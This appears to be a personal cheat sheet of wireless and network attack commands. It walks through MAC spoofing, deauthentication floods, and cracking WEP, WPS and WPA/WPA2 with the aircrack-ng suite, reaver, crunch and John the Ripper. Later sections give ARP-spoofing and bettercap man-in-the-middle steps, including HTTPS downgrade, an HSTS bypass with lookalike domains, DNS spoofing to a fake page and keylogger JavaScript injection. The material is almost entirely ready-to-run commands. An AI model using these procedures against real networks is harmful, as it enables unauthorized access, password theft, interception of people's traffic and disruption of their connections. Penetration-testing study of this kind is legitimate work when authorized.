# WIRELESS ATTACKS

## Finding network interfaces with inet(IP) and ether(MAC) addresses

*ifconfig*

## Finding wireless interfaces

*iwconfig*

## Changing my MAC or ether address

Step 1- disable the network interface: *ifconfig [network interface] down* {*ifconfig wlan0 down}*

Step 2- changing the mac or ether address:

*ifconfig [network interface] hw [network interface hardware] [new MAC or ether address]*

{*ifconfig wlan0 hw ether 00:10:20:1002*}

Step 3 – enable interface: *ifconfig [network interface] up* {*ifconfig wlan0 up*}

Step 4 – check if the mac address changed: *ifconfig*

NOTE: MAC address resets back to original after restarting computer

## Collecting information

NETDISCOVER: *netdiscover -r [range of ip addresses to sniff]* {*netdiscover -r 192.188.19.1/24}*

NMAP: *zenmap* (the graphical interface of nmap)

## Capturing all Packets on a wireless networks using an external wireless interface or wifi adapter

### ENABLING MONITOR MODE ON EXTERNAL WIRELESS ADAPTER

Step 1- Disable the external wireless interface being used to capture packets:

*ifconfig [external wireless adapter] down*

{*ifconfig wlan0 down*}

Step 2 – (NOT MANDATORY BUT BETTER RESULTS) It kills everything that could hinder capturing packets (KILLS INTERNET ACCESS): *airmon-ng check kill*

Step 3 – Change the mode of my external wireless interface being used to capture packets from Manage to Monitor in order to passively capture packets:

*iwconfig [external wireless adapter] mode monitor*

{*iwconfig wlan0 mode monitor*}

Step 4 – Reenable the external wireless interface: *ifconfig [external wireless adapter] up* {*ifconfig wlan0 up*}

### CAPTURING PACKETS WITH PACKET SNIFFER USING AIRMON-NG

*airodump-ng [external wireless adapter in monitor mode]*

{*airodump-ng mon0*} (displays details of wireless networks)

### INTEPRETING THE DATA GOTTEN FROM PACKET SNIFFER

BSSID – Mac address of the target wireless network

PWR – The signal strength (The higher the number the stronger the signal)

Beacons – Frames telling all wireless devices of its existence

#Data, - Number of data packets

#/s – Number of data packets collected per second

CH – Channels where the wireless networks operate on

MB – Maximum speed supported by the network

ENC – Encryption type

CIPHER- The type of cipher used

AUTH- Authentication type

ESSID – Name of network

NOTE: airodump-ng is limited to whether the external wireless adapter used in sniffing supports 5gigahertz. 2.4 and 5 Gigahertz networks are the only frequencies wifi networks use.

### Sniffing 5gigahertz frequency bands wireless networks

*airodump-ng - -band [a or abg] [external wireless adapter in monitor mode]*

{*airodump-ng - -band a mon0*} (band “a” is 5G detecting band, band “abg” is a 4G and 5G band)

### Gathering more information about a specific wireless network

*airodump-ng - -bssid [target bssid or MAC or ether address] - -channel [channel number] [external wireless adapter name]*

{*airodump-ng - -bssid F8:23:B2:B9:50:A8 - -channel 2 mon0* }

### Storing the sniffed packets in a file

*airodump-ng - -bssid [target bssid] - -channel [channel number] - -write [name of file] [wireless adapter on monitor mode name]*

{*airodump-ng - -bssid F8:23:B2:B9:50:A8 - -channel 2 - -write test-01 mon0*}

The above show an additional section showing the clients connected to the wireless network.

## Disconnecting the devices or clients from wireless networks (Deauthentication attack)

Kind of like MITM attack

*aireplay-ng - -deauth [large number of deauthentication packets to keep client disconnected] -a [target wireless network MAC address] -c [Client MAC address] -D [external wireless adapter in monitor mode]*

{*aireplay-ng –deauth 10000000000 -a F8:23:B2:B9:50:A8 -c 80:E6:50:22:A2:E8 -D mon0*}

(-D for 5G networks)

### Note

Run the two codes together:

*airodump-ng - -bssid [target bssid] - -channel [channel number] - -write [name of file] [wireless adapter on monitor mode name]*

*aireplay-ng - -deauth [large number of deauthentication packets to keep client disconnected] -a [target wireless network MAC address] -c [Client MAC address] -D [external wireless adapter in monitor mode]*

## Cracking WEP

Run aircrack-ng while running airodump-ng

*airodump-ng - -bssid [network MAC] - -channel 3 - -write test-01 wlan0*

*aircrack-ng [.cap file]* {*aircrack-ng test-01.cap*}

### Slow Packets problem from airodump-ng

Step 1 - Run a fake authentication: (terminal 1)

aireplay-ng - -fakeauth [number of times to send fake authentication, 0 meaning once etc] -a [MAC Address of network] -h [MAC address of my wireless adapter] [external wireless adapter in monitor mode] { aireplay-ng - -fakeauth 0 -a 64:14:44:F0:33:33 -h 48:33:3d:33:2d:33 mon0}

Step 2 – Force AP to generate new IVs using ARP request and replay it (terminal 2)

aireplay-ng - -arpreplay -b [MAC Address of network] -h [MAC address of my wireless adapter] [external wireless adapter in monitor mode] { aireplay-ng - -arpreplay -b 64:14:44:F0:33:33 -h 48:33:3d:33:2d:33 mon0}

NOTE: These two codes should be ran while airodump-ng is write the packets to a .cap file.

## Cracking WPA/WPA2 using non-Push Button WPS using wash

Step 1- Display all networks around with wps enabled

wash - –interface mon0

Step 2 – Associate with the network using aireplay-ng –fakeauth 30 -a [MAC network] -h [MAC external adapter (don’t forget to convert 34-33….. to 34:33] wlan0

In another terminal run reaver: reaver - -bssid [MAC address of target network] - -channel 1 - -interface wlan0 -vvv - -no-associate

(-vvv is to show information in case of fail)(--no-associate is to tell reaver not to associate because it is already associating manually

# Cracking WPA/WPA2

Step 1- Run airodump-ng and store packets of specific target network to a file.

Step 2- Capture handshake: Wait for new client to connect to network so as to capture handshake (these are 4 packets that are sent when a new client connects). Alternatively in another terminal, run a deauth attack for a very short time using aireplay-ng to disconnect the already connected and reconnect it.

The handshake gotten doesn’t contain the password but can help verify the correctly guessed password from a bruteforce attack wordlist.

Step3 – Create a wordlist using crunch: >crunch [min # of characters][max # of characters][characters] -t[pattern] -o[filename to store the password.txt] {>crunch 6 8 123abc$# -t a@@@@b } (-t a @@@@b means all the passwords will have a pattern which starts with a and ends with b e.g aaaaaab or aabbbb or aann$#b)

Step 4 – run aircrack0n: aircrack-ng [handshake file with .cap] -w [wordlist file]

## Advanced wordlists creation

### Using John the ripper to save progress

John - -wordlist=[name of wordlist] - -stdout (uses john the ripper to view the wordlist and print on a standard output)

To use this wordlist output as an input for aircrack-ng we use the pipe comman( |)

John –wordlist=[name of wordlist] - -stdout - -session=[name of session] | aircrack-ng -w - -b [MAC address of target network] [handshake .cap file] (-w – means the wordlist is piped from the result of the previous command; - -session=[any name] creates a session for john the ripper)

### Resuming session

John - -restore=[session name] | aircrack-ng -w - -b [Target MAC] [handshake .cap file]

We use John the ripper to store and resume session

### Using Piping wordlist to save storage space

e.g crunch 8 8 | aircrack-ng -b [Target MAC] -w – handshake-01.cap

Using Piping and progress saver to crack wpa/wpa2

Crunch 8 8 | john - - stdin - -session=session1 - -stdout | aircrack-ng -b [MAC BSSID] -w – handshake-01.cap

Restoring

Crunch 8 8 | john - -restore=session1 | aircrack-ng -b [target MAC] -w – handshake-01.cap

## ARP spoof (Man in the middle attack)

To find ip of target and gateway run arp -a on both shells

*arpspoof -i [interface] -t [client target IP] [gateway target IP]* {*arpspoof -I ether0 -t 10.12.1.2 10.2.3.4*}

*arpspoof -i [interface] -t [gateway target IP] [client target IP]* {*arpspoof -i ether0 10.2.3.4 10.12.1.1*}

Port forwarding(allow many packets to flow through the MIMT computer without stopping the internet access):

*echo 1 > /proc/sys/net/ipv4/ip\_forward*

### Bettercap

Bettercap -iface [interface where internets connected]

2. net.probe on

3. help arp.spoof

4. net.sniff.local true

5. net.sniff on

Help net.probe: opens help for net.probe for finding ip and mac addresses

Net.show : shows the connected clients

To modify options of bettercap

Set [option to modify] true

Analysing the data received from bettercap spoofing

Tell better cap to capture and analyze:

help net.sniff (To show all options)

net.sniff on

caplets.show : shows all caplets

Downgrading HTTPS website with bettercap:

caplet.show : shows all caplets then select the caplet that downgrades HTTPS to HTTP

NOTE: For Chrome, every website link has to be added to the downgrade HTTPS caplet list

Bypassing HSTS with bettercap

The only way is to replace the website with a similar one.

1. Find the caplet with HTTPS downgrade
2. Set: set hstshijack.replacements to set twitter.corn for twitter.com or set facebook.corn to facebook.com and also set dns.spoof.domains to twitter.corn etc.
3. Run the new downgrade caplet

NOTE: for Chrome browser you need to disable secure DNS for this to work

DNS Spoofing (DOES NOT WORK ON HSTS DUE TO LOCALLY STORED DNS LIST)

DNS converts domain names e.g google.com into the ip of the host server

Can be used to **redirect** to another website using fake ip as a response.

Step 1: Determine what website to redirect to

Step 2: use kali’s website server: server apache2 start

Step 3: go to /var/www/html to go to the files for the apache2 website

Step 4: you can edit the index.html with any website’s html using a notepad

Step 5: On bettercap type: help dns.spoof to see options

Step 6: If hosting on kali servers, do not change the dns.spoof.address option

Step 7: set dns.spoof.all true (in order to respond to any dns request)

Step 8: set dns.spoof.domain [the target domain to spoof e.g google.com or \*.google.com (\*target all domains)] (can use more domains and separating them with commas (,))

Step 9: dns.spoof on

Injecting Javascript into caplet (works on all HTTP, HTTPS and HSTS)

In payloads/keylogger.js add /payloads/keylogger.js, \*:new.js

This specifies that in any website (\*) this js script should be ran also. \* could be replaced with any website

Graphical interface of bettercap

Step 1: start bettercap

Step 2: download it : ui.update

Step 3:http-ui

Step 4: copy url and open on web browser

Step 5: default username: user, password: pass

# Social Engineering